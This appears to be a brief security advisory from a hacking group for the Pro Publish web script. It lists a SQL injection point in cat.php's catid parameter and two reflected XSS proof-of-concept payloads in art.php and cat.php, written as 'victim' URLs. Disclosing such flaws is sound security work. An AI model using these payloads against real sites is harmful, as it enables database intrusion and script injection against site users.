propublish.txt

`---------------------------------------------  
Pro Publish SQL Injection and XSS Vulnerabilities  
---------------------------------------------  
  
Site:  
http://www.deltascripts.com/download/  
  
Bug:  
1. SQL Injection :  
http://victim/propublish/cat.php?catid='  
  
  
2. XSS :  
  
1- http://victim/propublish/art.php?artid="><script>alert(/Soot/)</script>  
  
2- http://victim/propublish/cat.php?catname="><script>alert(/Soot/)</script>  
  
---------------------------------------------  
Source :  
http://soot.shabgard.org/bugs/propublish.txt  
  
Credit :  
Soot   
Shabgard Security Team  
http://www.shabgard.org   
  
Greetz :   
Hregy,Elite,Bl2k,Littlehacker,Sasan_4shir  
---------------------------------------------  
`